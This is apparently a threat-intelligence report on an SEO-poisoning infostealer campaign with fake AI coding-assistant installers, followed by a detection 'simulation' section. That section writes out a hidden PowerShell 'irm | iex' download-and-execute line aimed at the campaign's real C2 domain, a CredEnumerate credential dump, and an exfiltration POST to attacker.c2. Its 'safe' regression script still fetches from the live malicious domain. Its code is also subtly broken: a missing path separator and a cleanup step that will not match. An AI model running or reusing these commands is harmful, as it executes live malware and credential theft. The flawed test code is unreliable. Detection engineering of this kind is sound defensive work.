SEO Poisoning Campaign Uses Gemini and Claude Code Lures to Deliver an Infostealer

Summary

Financially motivated eCrime actors are using SEO poisoning to push fake domains that mimic installers for AI coding assistants. Victims who copy and paste a single PowerShell command from these pages trigger a fileless infostealer that executes fully in memory. The malware steals credentials, session cookies, VPN keys, and sensitive files before exfiltrating the data in encrypted form to a command-and-control server. The campaign is aimed at Windows developer workstations and blends into normal activity by abusing familiar developer tools.

Investigation

EclecticIQ analysts traced the malicious infrastructure to .co.com domains serving PowerShell download strings through irm and iex. The first-stage script launches a hidden PowerShell window using Shell.Application.ShellExecute, then loads additional C# types to gather credentials, system details, and other valuable data. Exfiltration was observed over HTTP and HTTPS to events.msft23.com and events.ms709.com using specific URL paths. Passive DNS analysis linked the operation to a bulletproof hosting provider in the Netherlands and to a wider cluster of typosquatted domains.

Mitigation

Defenders should detect and block the irm | iex execution pattern, hidden PowerShell windows, and suspicious Add-Type usage involving P/Invoke calls. Organizations should enforce PowerShell Constrained Language Mode and use AppLocker or WDAC to prevent script execution from internet-sourced content. Restricting browser clipboard write access and enforcing short-lived OAuth tokens for developer accounts can further reduce exposure. Developers should also be trained to avoid copy-paste commands from untrusted websites.

Response

Security teams should alert on PowerShell processes launched with -WindowStyle Hidden or invoked through Shell.Application.ShellExecute. These events should be correlated with outbound HTTP requests to domains matching *-setup.com or events.*.com, especially when the paths /take, /process, or /validate appear. If this behavior is detected, isolate the affected endpoint, collect PowerShell logs, and perform forensic collection of browser data and credential stores.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:
  An attacker compromises a low‑privileged user account and runs a PowerShell one‑liner via cmd.exe. The one‑liner uses irm (Invoke‑RestMethod) to fetch a malicious PowerShell script from events.msft23.com, pipes it to iex (Invoke‑Expression) to execute the payload entirely in memory, and hides the PowerShell window to avoid shoulder surfing. The payload subsequently loads a .NET type with Add‑Type to perform credential enumeration using the CredEnumerate API, exfiltrates the harvested data over HTTPS. All steps are executed without writing files to disk, matching the “file‑less” description.

  # Step 1 – Hidden PowerShell launch
  powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"

  The downloaded payload.ps1 (executed in‑memory) contains:

  # Step 2 – Load .NET type for credential enumeration
  $type = @"
  using System;
  using System.Runtime.InteropServices;
  public class Cred {
      [DllImport(""advapi32.dll"", SetLastError=true)]
      public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
  }
  "@
  Add-Type $type
  
  # Step 3 – Invoke credential dump and exfiltrate
  $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
  $data = "Collected $count credentials"
  Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $data

  This sequence generates the command‑line fragments that the Sigma rule matches:

  • powershell.exe -WindowStyle Hidden
  • irm events.msft23.com | iex
  • Add-Type
  • advapi32.dll!CredEnumerate

• Regression Test Script: The following script reproduces the exact behavior on a test workstation. Run it from an elevated PowerShell prompt.

  # Fileless PowerShell Infostealer Simulation – TC-20260525-A7Z3K
  # ------------------------------------------------------------
  # Step 1 – Execute hidden PowerShell that downloads & runs payload
  $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"'
  Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden
  
  # Mock payload.ps1 content (hosted locally for safe testing)
  $payload = @'
  $type = @"
  using System;
  using System.Runtime.InteropServices;
  public class Cred {
      [DllImport("advapi32.dll", SetLastError=true)]
      public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
  }
  "@
  Add-Type $type
  
  $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
  $data = "Collected $count credentials"
  # Simulate exfiltration to a harmless endpoint
  Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data
  '@
  
  # Write mock payload to temp location for the test (simulating remote hosting)
  $tempPath = "$env:TEMPpayload.ps1"
  Set-Content -Path $tempPath -Value $payload -Encoding UTF8
  
  # Serve the payload via a simple local HTTP listener (for demonstration)
  $listener = [System.Net.HttpListener]::new()
  $listener.Prefixes.Add("http://+:8080/")
  $listener.Start()
  Write-Host "Serving mock payload on http://localhost:8080/payload.ps1"
  while ($listener.IsListening) {
      $context = $listener.GetContext()
      if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") {
          $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
          $context.Response.ContentLength64 = $bytes.Length
          $context.Response.OutputStream.Write($bytes,0,$bytes.Length)
          $context.Response.Close()
      }
  }
  # Note: Stop the listener manually after validation.

• Cleanup Commands: Remove temporary files and stop the HTTP listener.

  # Cleanup after simulation
  Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
  # Stop the local HTTP listener (if still running)
  Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force